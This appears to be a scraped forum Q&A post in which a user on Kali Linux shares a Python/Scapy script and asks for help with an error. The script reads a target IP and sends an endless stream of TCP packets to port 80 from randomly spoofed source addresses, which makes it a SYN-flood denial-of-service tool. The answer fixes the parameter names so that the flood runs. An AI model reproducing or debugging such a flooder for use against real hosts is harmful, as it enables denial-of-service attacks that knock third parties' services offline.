简体   繁体   中英

Facing a problem in python using kali linux

Code:

import random
import sys
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = "."
   source_IP = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535):
      IP1 = IP(source = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      print(i)
      i = i + 1

But i having a error please help me to findout the error... Error:

raceback (most recent call last):
  File "/root/Desktop/ip/./main.py", line 16, in <module>
    IP1 = IP(source = source_IP, destination = target_IP)
  File "/usr/lib/python3/dist-packages/scapy/base_classes.py", line 266, in __call__
    i.__init__(*args, **kargs)
  File "/usr/lib/python3/dist-packages/scapy/packet.py", line 179, in __init__
    raise AttributeError(fname)
AttributeError: source

Try src instread of source and dst instead of destination inside the for loop

IP1 = IP(src = source_IP, dst = target_IP)
TCP1 = TCP(sport = source_port, dport = 80)

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM